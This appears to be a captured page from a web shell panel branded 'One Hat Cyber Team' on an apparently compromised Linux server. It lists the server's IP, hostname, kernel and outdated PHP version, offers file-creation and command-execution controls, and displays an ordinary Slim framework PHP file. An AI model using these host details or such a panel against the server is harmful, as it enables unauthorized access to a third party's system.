One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ops
/
lib
/
pkp
/
lib
/
vendor
/
slim
/
slim
/
Slim
/
View File Name :
Routable.php
<?php /** * Slim Framework (https://slimframework.com) * * @license https://github.com/slimphp/Slim/blob/3.x/LICENSE.md (MIT License) */ namespace Slim; use Psr\Container\ContainerInterface; abstract class Routable { use CallableResolverAwareTrait; /** * Route callable * * @var callable */ protected $callable; /** * Container * * @var ContainerInterface */ protected $container; /** * Route middleware * * @var callable[] */ protected $middleware = []; /** * Route pattern * * @var string */ protected $pattern; /** * @param string $pattern * @param callable $callable */ public function __construct($pattern, $callable) { $this->pattern = $pattern; $this->callable = $callable; } /** * Get the middleware registered for the group * * @return callable[] */ public function getMiddleware() { return $this->middleware; } /** * Get the route pattern * * @return string */ public function getPattern() { return $this->pattern; } /** * Set container for use with resolveCallable * * @param ContainerInterface $container * * @return static */ public function setContainer(ContainerInterface $container) { $this->container = $container; return $this; } /** * Prepend middleware to the middleware collection * * @param callable|string $callable The callback routine * * @return static */ public function add($callable) { $this->middleware[] = new DeferredCallable($callable, $this->container); return $this; } /** * Set the route pattern * * @param string $newPattern */ public function setPattern($newPattern) { $this->pattern = $newPattern; } }